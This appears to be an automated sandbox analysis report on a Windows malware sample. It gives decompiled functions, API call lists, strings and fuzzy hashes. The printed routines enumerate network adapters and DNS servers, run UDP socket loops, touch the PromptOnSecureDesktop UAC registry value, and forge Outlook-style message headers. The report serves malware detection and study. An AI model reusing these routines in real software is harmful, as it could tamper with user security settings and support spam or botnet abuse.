0x00000000
0x00402bc9
0x00402bd1
0x00402c77
0x00402c77
0x00402c79
0x00402c7f
0x00402bc5
0x00000000
0x00402bc5
0x00000000
0x00402bf3
0x00402c08
0x00402c0c
0x00402c85
0x00402c89
0x00402c93
0x00000000
0x00000000
0x00000000
0x00402c93
0x00402c12
0x00402c1d
0x00402c21
0x00402c25
0x00402c32
0x00402c3e
0x00402c41
0x00402c4a
0x00402c4b
0x00402c5f
0x00402c63
0x00402c69
0x00402c71
0x00402c6b
0x00402c6b
0x00402c6b
0x00402c4d
0x00402c57
0x00402c57
0x00402c73
0x00000000
0x00402c73
0x00402bd1
0x00402bc9
0x00402b8b
0x00402b90
0x00000000
0x00000000
0x00000000
0x00402b90
0x00402c95
0x00402c95
0x00402c9e
0x00402ac3
0x00402ac7
0x00000000
0x00402ac7
0x00000000
0x00402ca4
0x00402ac9
0x00402aae
0x00000000

APIs

GetProcessHeap.KERNEL32(00000000,00001000,00000000,?,73B74F20), ref: 00402A83
HeapAlloc.KERNEL32(00000000,?,73B74F20), ref: 00402A86
socket.WS2_32(00000002,00000002,00000011), ref: 00402AA0
htons.WS2_32(00000000), ref: 00402ADB
select.WS2_32 ref: 00402B28
recv.WS2_32(?,00000000,00001000,00000000), ref: 00402B4A
htons.WS2_32(?), ref: 00402B71
htons.WS2_32(?), ref: 00402B8C
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00402BFB

Strings

ps, xrefs: 00402CC7

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Heaphtons$Process$Allocrecvselectsocket
String ID: ps
API String ID: 1639031587-3878219058
Opcode ID: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction ID: 51c4a8f8372388146ce05ee3fd67d3b8acfed2692fca977a8adbfce498b2b585
Opcode Fuzzy Hash: 0a9a318a9520cdba09dec5fbe0b7d43cc2391f431d6a7511ea18a0acbd49a9c0
Instruction Fuzzy Hash: FB61D271508305ABD7209F51DE0CB6FBBE8FB48345F14482AF945A72D1D7F8D8808BAA

Uniqueness

Uniqueness Score: -1.00%

Function 0040199C, Relevance: 31.6, APIs: 11, Strings: 7, Instructions: 106
memorylibraryloaderCOMMON

Download Yara Rule

C-Code - Quality: 54%

			E0040199C(void* __eax) {
				long _v8;
				_Unknown_base(*)()* _v12;
				struct HINSTANCE__* _v16;
				char _v20;
				void* _v24;
				long _v28;
				_Unknown_base(*)()* _t30;
				intOrPtr _t32;
				void* _t34;
				void* _t41;
				struct HINSTANCE__* _t48;
				_Unknown_base(*)()* _t49;
				void* _t50;

				_v20 = 0;
				_v28 = 0;
				__imp__#11("123.45.67.89");
				_v24 = __eax;
				_t48 = LoadLibraryA("Iphlpapi.dll");
				_v16 = _t48;
				if(_t48 != 0) {
					_v12 = GetProcAddress(_t48, "GetAdaptersInfo");
					_t49 = GetProcAddress(_t48, "GetIfEntry");
					_t30 = GetProcAddress(_v16, "GetBestInterface");
					if(_v12 == 0 || _t49 == 0 || _t30 == 0) {
						FreeLibrary(_v16);
						goto L21;
					} else {
						 *_t30(_v24,  &_v20);
						_t34 = GetProcessHeap();
						_v24 = _t34;
						if(_t34 == 0) {
							L21:
							_t32 = 0;
							L22:
							return _t32;
						}
						_t50 = HeapAlloc(_t34, 0, 0x288);
						if(_t50 == 0) {
							goto L21;
						}
						_push( &_v8);
						_push(_t50);
						_v8 = 0x288;
						if(_v12() == 0x6f) {
							_t50 = HeapReAlloc(_v24, 0, _t50, _v8);
						}
						if(_t50 == 0) {
							L18:
							FreeLibrary(_v16);
							if(_v28 == 0) {
								goto L21;
							}
							_t32 = 1;
							goto L22;
						} else {
							_push( &_v8);
							_push(_t50);
							if(_v12() != 0) {
								goto L18;
							}
							_t41 = _t50;
							while( *((intOrPtr*)(_t41 + 0x19c)) != _v20) {
								_t41 =  *_t41;
								if(_t41 != 0) {
									continue;
								}
								L17:
								HeapFree(_v24, 0, _t50);
								goto L18;
							}
							if( *((intOrPtr*)(_t41 + 0x1a0)) != 6) {
								_v28 = 1;
							}
							goto L17;
						}
					}
				}
				return 0;
			}

0x004019ab
0x004019ae
0x004019b1
0x004019bc
0x004019c5
0x004019c7
0x004019cc
0x004019ea
0x004019f7
0x004019f9
0x004019fe
0x00401ab6
0x00000000
0x00401a14
0x00401a1b
0x00401a1d
0x00401a23
0x00401a28
0x00401abc
0x00401abc
0x00401abe
0x00000000
0x00401abe
0x00401a3c
0x00401a40
0x00000000
0x00000000
0x00401a45
0x00401a46
0x00401a47
0x00401a50
0x00401a60
0x00401a60
0x00401a67
0x00401aa1
0x00401aa4
0x00401aad
0x00000000
0x00000000
0x00401aaf
0x00000000
0x00401a69
0x00401a6c
0x00401a6d
0x00401a73
0x00000000
0x00000000
0x00401a75
0x00401a77
0x00401a82
0x00401a86
0x00000000
0x00000000
0x00401a96
0x00401a9b
0x00000000
0x00401a9b
0x00401a91
0x00401a93
0x00401a93
0x00000000
0x00401a91
0x00401a67
0x004019fe
0x00000000

APIs

inet_addr.WS2_32(123.45.67.89), ref: 004019B1
LoadLibraryA.KERNEL32(Iphlpapi.dll,?,?,?,?,00000001,00401E9E), ref: 004019BF
GetProcAddress.KERNEL32(00000000,GetAdaptersInfo), ref: 004019E2
GetProcAddress.KERNEL32(00000000,GetIfEntry), ref: 004019ED
GetProcAddress.KERNEL32(?,GetBestInterface), ref: 004019F9
GetProcessHeap.KERNEL32(?,?,?,?,00000001,00401E9E), ref: 00401A1D
HeapAlloc.KERNEL32(00000000,00000000,00000288,?,?,?,?,00000001,00401E9E), ref: 00401A36
HeapReAlloc.KERNEL32(?,00000000,00000000,00401E9E,?,?,?,?,00000001,00401E9E), ref: 00401A5A
HeapFree.KERNEL32(?,00000000,00000000,?,?,?,?,00000001,00401E9E), ref: 00401A9B
FreeLibrary.KERNEL32(?,?,?,?,?,00000001,00401E9E), ref: 00401AA4

Strings

GetIfEntry, xrefs: 004019E4
Iphlpapi.dll, xrefs: 004019B7
GetBestInterface, xrefs: 004019EF
~s`ysps, xrefs: 004019B1
123.45.67.89, xrefs: 004019A6
GetAdaptersInfo, xrefs: 004019DC
localcfg, xrefs: 004019A3

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AddressProc$AllocFreeLibrary$LoadProcessinet_addr
String ID: 123.45.67.89$GetAdaptersInfo$GetBestInterface$GetIfEntry$Iphlpapi.dll$localcfg$~s`ysps
API String ID: 835516345-819159683
Opcode ID: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction ID: c689a3d9ae3379b0bfe51822f68a21815d588b76a9689f39126eb657c90dfffc
Opcode Fuzzy Hash: 52436911476c130446cd143f44c65522dc478156bb7ce270366fd521237d2269
Instruction Fuzzy Hash: 39313E32A01219AFCF119FE4DD888AFBBB9EB45311B24457BE501B2260D7B94E819F58

Uniqueness

Uniqueness Score: -1.00%

Function 00434E19, Relevance: 30.1, APIs: 15, Strings: 2, Instructions: 368COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 00434EA8
_get_int64_arg.LIBCMTD ref: 00434ED0
__aullrem.LIBCMT ref: 00435075
__aulldiv.LIBCMT ref: 00435097
_write_multi_char.LIBCMTD ref: 0043519E
_write_string.LIBCMTD ref: 004351B9
_write_multi_char.LIBCMTD ref: 004351E5
_wctomb_s.LIBCMTD ref: 00435262

Strings

-, xrefs: 0043513E
9, xrefs: 004350A8

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem_wctomb_s_write_string
String ID: -$9
API String ID: 3451365851-1631151375
Opcode ID: bf6c8cbd58db294dfea286a417c4402d66fe33cffc6d42ddb63114a62569fe95
Instruction ID: 4f80ffa8390c4d926bb557a5388c9f337f004f2340162e98fbbd40ff19a7bcd2
Opcode Fuzzy Hash: bf6c8cbd58db294dfea286a417c4402d66fe33cffc6d42ddb63114a62569fe95
Instruction Fuzzy Hash: 37F12BB1D016299FDB24CF54DC89BEEB7B1BB88304F1491DAD419A7281D7386E80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0043C14B, Relevance: 28.4, APIs: 15, Strings: 1, Instructions: 365COMMON

Download Yara Rule

APIs

_get_int64_arg.LIBCMTD ref: 0043C1E0
_get_int64_arg.LIBCMTD ref: 0043C208
__aullrem.LIBCMT ref: 0043C3B0
__aulldiv.LIBCMT ref: 0043C3D2
_write_multi_char.LIBCMTD ref: 0043C4EB
_write_string.LIBCMTD ref: 0043C506
_write_multi_char.LIBCMTD ref: 0043C532
__mbtowc_l.LIBCMTD ref: 0043C5A1

Strings

9, xrefs: 0043C3E3

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _get_int64_arg_write_multi_char$__aulldiv__aullrem__mbtowc_l_write_string
String ID: 9
API String ID: 3455034128-2366072709
Opcode ID: 49b30211ec0a68751cdbffbeda766572a28c6a50ffce3ff59678418475e68519
Instruction ID: 40e38a54aae25ba8f6bed191ce28f9958c4fe5f73998270ab393b6ab99774429
Opcode Fuzzy Hash: 49b30211ec0a68751cdbffbeda766572a28c6a50ffce3ff59678418475e68519
Instruction Fuzzy Hash: CCF13BB1E002299FDB24CF58CC81BAEB7B5FB89314F14519AE609B7241D7389E84CF59

Uniqueness

Uniqueness Score: -1.00%

Function 00638578, Relevance: 28.4, APIs: 14, Strings: 2, Instructions: 361registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,?,?,00000000,00000103,?), ref: 00638643
RegQueryValueExA.ADVAPI32(?,?,00000000,?,?,?,?,?,00000000,00000103,?), ref: 00638664
RegSetValueExA.ADVAPI32(?,?,00000000,00000004,?,00000004,?,?,00000000,00000103,?), ref: 00638691
RegCloseKey.ADVAPI32(?,?,?,00000000,00000103,?), ref: 0063869A

Strings

PromptOnSecureDesktop, xrefs: 0063859F, 0063862E, 006386A6, 006386F1, 006387AE, 006387FB, 006388D2, 006388EE
", xrefs: 00638955

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Value$CloseOpenQuery
String ID: "$PromptOnSecureDesktop
API String ID: 237177642-3108538426
Opcode ID: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction ID: cef2e6a27a3b4d710c83a7b5b1362c8fb68e2ff732ce7e7ce9d39f8faac70822
Opcode Fuzzy Hash: 1c60b81768065cc7cafd43d65e6870f876b06d8eccb24c6c2cb771a703b3980a
Instruction Fuzzy Hash: 15C192B1D00249BEEB11EBA4DD85EEE7BBEEB05300F144079F604E3151EB714E949BA9

Uniqueness

Uniqueness Score: -1.00%

Function 004294D6, Relevance: 26.5, APIs: 13, Strings: 2, Instructions: 220COMMON

Download Yara Rule

APIs

_wcscpy_s.LIBCMTD ref: 004294FD

Part of subcall function 0041D900: __invalid_parameter.LIBCMTD ref: 0041D972

__invoke_watson_if_error.LIBCMTD ref: 00429506
_strlen.LIBCMT ref: 0042951B
_strlen.LIBCMT ref: 0042952C
_memcpy_s.LIBCMTD ref: 00429574
__invoke_watson_if_error.LIBCMTD ref: 0042957D

Part of subcall function 0041DD80: __invoke_watson.LIBCMTD ref: 0041DDA1

_strlen.LIBCMT ref: 0042958F
_strlen.LIBCMT ref: 004295A0

Strings

<O@, xrefs: 00429635
Ph8S@, xrefs: 00429784

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: _strlen$__invoke_watson_if_error$__invalid_parameter__invoke_watson_memcpy_s_wcscpy_s
String ID: <O@$Ph8S@
API String ID: 3749650904-221523576
Opcode ID: 01a931061b19823d6f5cd638bf3664c7f7221e5d89a2382c2c9d3bc6288795b6
Instruction ID: 01bfd73e09541b92549d8fd222fdef0153cff9ef14f84170e2d5245f0b8c0074
Opcode Fuzzy Hash: 01a931061b19823d6f5cd638bf3664c7f7221e5d89a2382c2c9d3bc6288795b6
Instruction Fuzzy Hash: 0B9182B0F00228ABDB24DF51EC45BEE77B4AB44704F5080AAF60966281D7789EC5CF99

Uniqueness

Uniqueness Score: -1.00%

Function 00632CB2, Relevance: 26.4, APIs: 14, Strings: 1, Instructions: 194memorynetworkCOMMON

Download Yara Rule

APIs

RtlAllocateHeap.NTDLL(00000000), ref: 00632CD6
socket.WS2_32(00000002,00000002,00000011), ref: 00632CF0
htons.WS2_32(00000000), ref: 00632D2B
select.WS2_32 ref: 00632D78
recv.WS2_32(?,00000000,00001000,00000000), ref: 00632D9A
GetProcessHeap.KERNEL32(00000000,00000108), ref: 00632E4B

Strings

ps, xrefs: 00632F17

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Heap$AllocateProcesshtonsrecvselectsocket
String ID: ps
API String ID: 127016686-3878219058
Opcode ID: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction ID: e0a17f8a7dc816fba34ece967fe696ce3c2e46d7bd2a3e20da21aa88bb72f160
Opcode Fuzzy Hash: 34b12e3987a7911b0151bc10fc282e4d0fd91c502d2533c711cf9584e7c9b6b6
Instruction Fuzzy Hash: 1D61DFB1904306ABC7209F64DC09BABBBF9FF88754F00481DF99597250D7B598808BE6

Uniqueness

Uniqueness Score: -1.00%

Function 006314D0, Relevance: 23.2, APIs: 9, Strings: 4, Instructions: 417stringCOMMON

Download Yara Rule

APIs

ShellExecuteExW.SHELL32(?), ref: 006315EA
lstrlenW.KERNEL32(-00000003), ref: 006317C1

Strings

, xrefs: 006316B2
D, xrefs: 00631816
<, xrefs: 006315C8
@, xrefs: 006315D0

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: ExecuteShelllstrlen
String ID: $<$@$D
API String ID: 1628651668-1974347203
Opcode ID: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction ID: 8a01357d52e8cf44ead79d50289193b7a475ee45e355521d41c24b5d763e86ac
Opcode Fuzzy Hash: 03adf1138caabce6029c68f91071d7d17f6d9527f2eb0b017a6edce7519f1441
Instruction Fuzzy Hash: 34F18CB15083419FD720DF64C888BAAB7F6FB89301F00892DF6969B390D7B4D944CB96

Uniqueness

Uniqueness Score: -1.00%

Function 0063764F, Relevance: 23.1, APIs: 11, Strings: 2, Instructions: 345registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(80000002,00000000,00020119,?), ref: 006376C2
RegOpenKeyExA.ADVAPI32(?,?,00000000,00000101,?), ref: 00637740
RegQueryValueExA.ADVAPI32(?,00000000,?,00000000,?,?,00000104), ref: 00637778
___ascii_stricmp.LIBCMT ref: 0063789D
RegCloseKey.ADVAPI32(?), ref: 00637937
RegEnumKeyA.ADVAPI32(?,00000000,?,00000104), ref: 00637956
RegCloseKey.ADVAPI32(?), ref: 00637967
RegCloseKey.ADVAPI32(?), ref: 00637995
RegCloseKey.ADVAPI32(?), ref: 00637A3F

Part of subcall function 0063F3F5: lstrlen.KERNEL32(000000E4,00000000,PromptOnSecureDesktop,000000E4,00637713,?), ref: 0063F3FD

GetFileAttributesExA.KERNEL32(00000022,00000000,?), ref: 006379DF
RegCloseKey.ADVAPI32(?), ref: 00637A36

Strings

", xrefs: 006377E9
PromptOnSecureDesktop, xrefs: 006376AE, 006376B3, 006376CE, 0063776B, 006377CF, 0063784B, 00637864, 006379AB

Memory Dump Source

Source File: 00000011.00000002.957118764.0000000000630000.00000040.00000001.sdmp, Offset: 00630000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_630000_E748.jbxd

Yara matches

Similarity

API ID: Close$Open$AttributesEnumFileQueryValue___ascii_stricmplstrlen
String ID: "$PromptOnSecureDesktop
API String ID: 3433985886-3108538426
Opcode ID: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction ID: 00f90fdca5a495551f5ecc14459f89113572df6eaee37bc8fc233e76b9f0d34d
Opcode Fuzzy Hash: 1023eff4b56b9a7853b73631c2f3480fec1a45e58b56effd08988566cadd104d
Instruction Fuzzy Hash: CCC1B3B1904209BFEB219FA8DC45FEE7BBAEF45310F1041A5F504E6291DB719E84CBA4

Uniqueness

Uniqueness Score: -1.00%

Function 00402DF2, Relevance: 22.8, APIs: 10, Strings: 3, Instructions: 97
memorylibrarynetworkCOMMON

Download Yara Rule

C-Code - Quality: 55%

			E00402DF2(intOrPtr _a4) {
				void* _v8;
				signed int _v12;
				long _v16;
				intOrPtr _v28;
				short _v30;
				char _v32;
				struct HINSTANCE__* _t18;
				void* _t22;
				signed int _t23;
				short _t27;
				signed int _t31;
				intOrPtr* _t35;
				intOrPtr* _t37;
				CHAR* _t38;
				void* _t40;

				_t38 = "iphlpapi.dll";
				_t18 = GetModuleHandleA(_t38);
				if(_t18 == 0 || _t18 == 0xffffffff) {
					_t18 = LoadLibraryA(_t38);
				}
				if(_t18 == 0 || _t18 == 0xffffffff) {
					L18:
					return 0;
				} else {
					_t35 = GetProcAddress(_t18, "GetNetworkParams");
					if(_t35 == 0) {
						goto L18;
					}
					_t22 = HeapAlloc(GetProcessHeap(), 0, 0x4000);
					_t33 =  &_v16;
					_v8 = _t22;
					_v16 = 0x4000;
					_t23 =  *_t35(_t22,  &_v16);
					if(_t23 != 0) {
						goto L18;
					}
					_v12 = _v12 & _t23;
					_t37 = _v8 + 0x10c;
					if(_t37 == 0) {
						L17:
						HeapFree(GetProcessHeap(), 0, _v8);
						return _v12;
					} else {
						goto L8;
					}
					do {
						L8:
						_t40 = _t37 + 4;
						if(_t40 == 0) {
							goto L16;
						}
						_t27 = 2;
						_v32 = _t27;
						__imp__#9(0x35);
						_v30 = _t27;
						__imp__#11(_t40);
						_v28 = _t27;
						if(_t27 == 0 || _t27 == 0xffffffff) {
							__imp__#52(_t40);
							if(_t27 == 0) {
								goto L16;
							}
							_t27 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_t27 + 0xc))))));
							_v28 = _t27;
							goto L13;
						} else {
							L13:
							if(_t27 != 0 && _t27 != 0xffffffff) {
								_t31 = E00402CEB(_t33,  &_v32, _a4);
								_pop(_t33);
								_v12 = _t31;
								if(_t31 != 0) {
									goto L17;
								}
							}
						}
						L16:
						_t37 =  *_t37;
					} while (_t37 != 0);
					goto L17;
				}
			}

0x00402dfb
0x00402e01
0x00402e09
0x00402e11
0x00402e11
0x00402e19
0x00402ef1
0x00000000
0x00402e28
0x00402e34
0x00402e38
0x00000000
0x00000000
0x00402e4f
0x00402e55
0x00402e5a
0x00402e5d
0x00402e60
0x00402e64
0x00000000
0x00000000
0x00402e6d
0x00402e70
0x00402e76
0x00402ede
0x00402ee6
0x00000000
0x00000000
0x00000000
0x00000000
0x00402e78
0x00402e78
0x00402e78
0x00402e7d
0x00000000
0x00000000
0x00402e81
0x00402e84
0x00402e88
0x00402e8f
0x00402e93
0x00402e99
0x00402e9e
0x00402ea6
0x00402eae
0x00000000
0x00000000
0x00402eb5
0x00402eb7
0x00000000
0x00402eba
0x00402eba
0x00402ebc
0x00402eca
0x00402ed0
0x00402ed1
0x00402ed6
0x00000000
0x00000000
0x00402ed6
0x00402ebc
0x00402ed8
0x00402ed8
0x00402eda
0x00000000
0x00402e78

APIs

GetModuleHandleA.KERNEL32(iphlpapi.dll,73BCEA30,?,000DBBA0,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E01
LoadLibraryA.KERNEL32(iphlpapi.dll,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E11
GetProcAddress.KERNEL32(00000000,GetNetworkParams), ref: 00402E2E
GetProcessHeap.KERNEL32(00000000,00004000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4C
HeapAlloc.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402E4F
htons.WS2_32(00000035), ref: 00402E88
inet_addr.WS2_32(?), ref: 00402E93
gethostbyname.WS2_32(?), ref: 00402EA6
GetProcessHeap.KERNEL32(00000000,?,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE3
HeapFree.KERNEL32(00000000,?,00000000,00402F0F,?,004020FF,00412000), ref: 00402EE6

Strings

iphlpapi.dll, xrefs: 00402DFB, 00402E00, 00402E10
GetNetworkParams, xrefs: 00402E28
~s`ysps, xrefs: 00402E93

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: Heap$Process$AddressAllocFreeHandleLibraryLoadModuleProcgethostbynamehtonsinet_addr
String ID: GetNetworkParams$iphlpapi.dll$~s`ysps
API String ID: 929413710-64764534
Opcode ID: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction ID: af9ac6d56ee620c8fffc4a8d4b95bbdbc136fdcf8554a1f3230d1ae4f4a52a91
Opcode Fuzzy Hash: ac765a0f8383a0e22933114e4494c8504a9546d168c54e12ec6921eb1cd39c15
Instruction Fuzzy Hash: E3318131A40209ABDB119BB8DD4CAAF7778AF04361F144136F914F72D0DBB8D9819B9C

Uniqueness

Uniqueness Score: -1.00%

Function 00434B77, Relevance: 21.2, APIs: 11, Strings: 1, Instructions: 241COMMON

Download Yara Rule

APIs

_get_int_arg.LIBCMTD ref: 00434B7B
__get_printf_count_output.LIBCMTD ref: 00434B89
__invalid_parameter.LIBCMTD ref: 00434C10
_LocaleUpdate::~_LocaleUpdate.LIBCMTD ref: 00434C25
_write_multi_char.LIBCMTD ref: 0043519E
_write_string.LIBCMTD ref: 004351B9
_write_multi_char.LIBCMTD ref: 004351E5
_wctomb_s.LIBCMTD ref: 00435262

Strings

-, xrefs: 0043513E

Memory Dump Source

Source File: 00000011.00000002.953574496.0000000000415000.00000020.00020000.sdmp, Offset: 00415000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_415000_E748.jbxd

Similarity

API ID: Locale_write_multi_char$UpdateUpdate::~___get_printf_count_output__invalid_parameter_get_int_arg_wctomb_s_write_string
String ID: -
API String ID: 2357813345-2547889144
Opcode ID: 5e57666ef2b4389df77cbd8cc842b03c8507488a9f5c5337ac507bfa946bb231
Instruction ID: 2f66437218f190d3286802ef1c86fe5fa8122ada8ac110d5ae4023186ea4c8e3
Opcode Fuzzy Hash: 5e57666ef2b4389df77cbd8cc842b03c8507488a9f5c5337ac507bfa946bb231
Instruction Fuzzy Hash: D7A19EB0D016289BDF20DF55CC49BEEB7B0EB88304F1491DAE5197A281D778AE80CF59

Uniqueness

Uniqueness Score: -1.00%

Function 0040AD89, Relevance: 21.1, APIs: 5, Strings: 7, Instructions: 121
timeCOMMON

Download Yara Rule

C-Code - Quality: 96%

			E0040AD89(void* __ecx, void* __eflags) {
				signed int _t48;
				signed int _t50;
				void* _t53;
				intOrPtr _t55;
				void* _t76;
				signed int _t77;
				void* _t81;
				CHAR* _t92;
				void* _t94;
				void* _t96;
				void* _t98;

				_t76 = __ecx;
				_t94 = _t96 - 0x74;
				GetLocalTime(_t94 + 0x50);
				SystemTimeToFileTime(_t94 + 0x50, _t94 + 0x64);
				E0040EE2A(_t76, _t94 - 0x110, 0, 0x80);
				E0040AD08(_t94 - 0x110);
				_t98 = _t96 - 0x184 + 0x10;
				if(E004030B5() == 0) {
					 *((intOrPtr*)(_t94 + 0x6c)) = "127.0.0.1";
				} else {
					_push(_t94 - 0x90);
					 *((intOrPtr*)(_t94 + 0x6c)) = E0040A7A3(_t47, _t47);
				}
				_t48 = E0040ECA5();
				_t77 = 0xe;
				_t50 = E0040ECA5();
				_t92 = "%OUTLOOK_BND_";
				 *((intOrPtr*)(_t94 + 0x70)) = (_t50 & 0x00000001) + _t48 % _t77 + 0xb;
				_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				while(1) {
					_t103 = _t53;
					if(_t53 == 0) {
						break;
					}
					_t55 = E0040EDAC(_t53 + 0xd);
					_t81 =  *((intOrPtr*)(_t94 + 0x70)) + _t55;
					__eflags = _t81;
					 *((intOrPtr*)(_t94 + 0x60)) = _t55;
					wsprintfA(_t94 - 0x70, "----=_NextPart_%03d_%04X_%08.8lX.%08.8lX", _t55, _t81,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64));
					wsprintfA(_t94 + 0x10, "%s%d", _t92,  *((intOrPtr*)(_t94 + 0x60)));
					E0040EF7C(__eflags,  *((intOrPtr*)(_t94 + 0x7c)), _t94 + 0x10, _t94 - 0x70, 0x3e800, 0);
					_t98 = _t98 + 0x40;
					_t53 = E0040EE95( *((intOrPtr*)(_t94 + 0x7c)), _t92);
				}
				wsprintfA(_t94 - 0x70, "%04x%08.8lx$%08.8lx$%08x@%s",  *((intOrPtr*)(_t94 + 0x70)) + 3,  *((intOrPtr*)(_t94 + 0x68)),  *(_t94 + 0x64),  *((intOrPtr*)(_t94 + 0x6c)), _t94 - 0x110);
				E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_MID", _t94 - 0x70, 0x3e800, 0);
				return E0040EF7C(_t103,  *((intOrPtr*)(_t94 + 0x7c)), "%OUTLOOK_HST", _t94 - 0x110, 0x3e800, 0);
			}

0x0040ad89
0x0040ad8a
0x0040ad98
0x0040ada6
0x0040adba
0x0040adc6
0x0040adcb
0x0040add5
0x0040adeb
0x0040add7
0x0040addd
0x0040ade6
0x0040ade6
0x0040adf5
0x0040adfe
0x0040ae03
0x0040ae0f
0x0040ae18
0x0040ae1b
0x0040ae7f
0x0040ae81
0x0040ae83
0x00000000
0x00000000
0x0040ae31
0x0040ae3f
0x0040ae3f
0x0040ae43
0x0040ae4f
0x0040ae5e
0x0040ae6e
0x0040ae73
0x0040ae7a
0x0040ae7a
0x0040aea5
0x0040aeb6
0x0040aedc

APIs

GetLocalTime.KERNEL32(?), ref: 0040AD98
SystemTimeToFileTime.KERNEL32(?,?), ref: 0040ADA6

Part of subcall function 0040AD08: gethostname.WS2_32(?,00000080), ref: 0040AD1C
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD60
Part of subcall function 0040AD08: lstrlenA.KERNEL32(00000000), ref: 0040AD69
Part of subcall function 0040AD08: lstrcpyA.KERNEL32(00000000,LocalHost), ref: 0040AD7F

Part of subcall function 004030B5: gethostname.WS2_32(?,00000080), ref: 004030D8
Part of subcall function 004030B5: gethostbyname.WS2_32(?), ref: 004030E2

wsprintfA.USER32 ref: 0040AEA5

Part of subcall function 0040A7A3: inet_ntoa.WS2_32(?), ref: 0040A7A9

wsprintfA.USER32 ref: 0040AE4F
wsprintfA.USER32 ref: 0040AE5E

Part of subcall function 0040EF7C: lstrlenA.KERNEL32(-00000010,00000000,00000080,-00000004,-00000010), ref: 0040EF92
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(?), ref: 0040EF99
Part of subcall function 0040EF7C: lstrlenA.KERNEL32(00000000), ref: 0040EFA0

Strings

%OUTLOOK_HST, xrefs: 0040AEC5
----=_NextPart_%03d_%04X_%08.8lX.%08.8lX, xrefs: 0040AE49
127.0.0.1, xrefs: 0040ADEB
%OUTLOOK_BND_, xrefs: 0040AE0F, 0040AE14, 0040AE57, 0040AE76
%s%d, xrefs: 0040AE58
%04x%08.8lx$%08.8lx$%08x@%s, xrefs: 0040AE9F
%OUTLOOK_MID, xrefs: 0040AEAE

Memory Dump Source

Source File: 00000011.00000002.953428772.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000011.00000002.953541803.0000000000414000.00000040.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_17_2_400000_E748.jbxd

Yara matches

Similarity

API ID: lstrlen$Timewsprintf$gethostname$FileLocalSystemgethostbynameinet_ntoalstrcpy
String ID: %04x%08.8lx$%08.8lx$%08x@%s$%OUTLOOK_BND_$%OUTLOOK_HST$%OUTLOOK_MID$%s%d$----=_NextPart_%03d_%04X_%08.8lX.%08.8lX$127.0.0.1
API String ID: 3631595830-1816598006
Opcode ID: ed5774bf6ac078b224cbf22e450ca61793c1c52625b21437799b5f936851b975
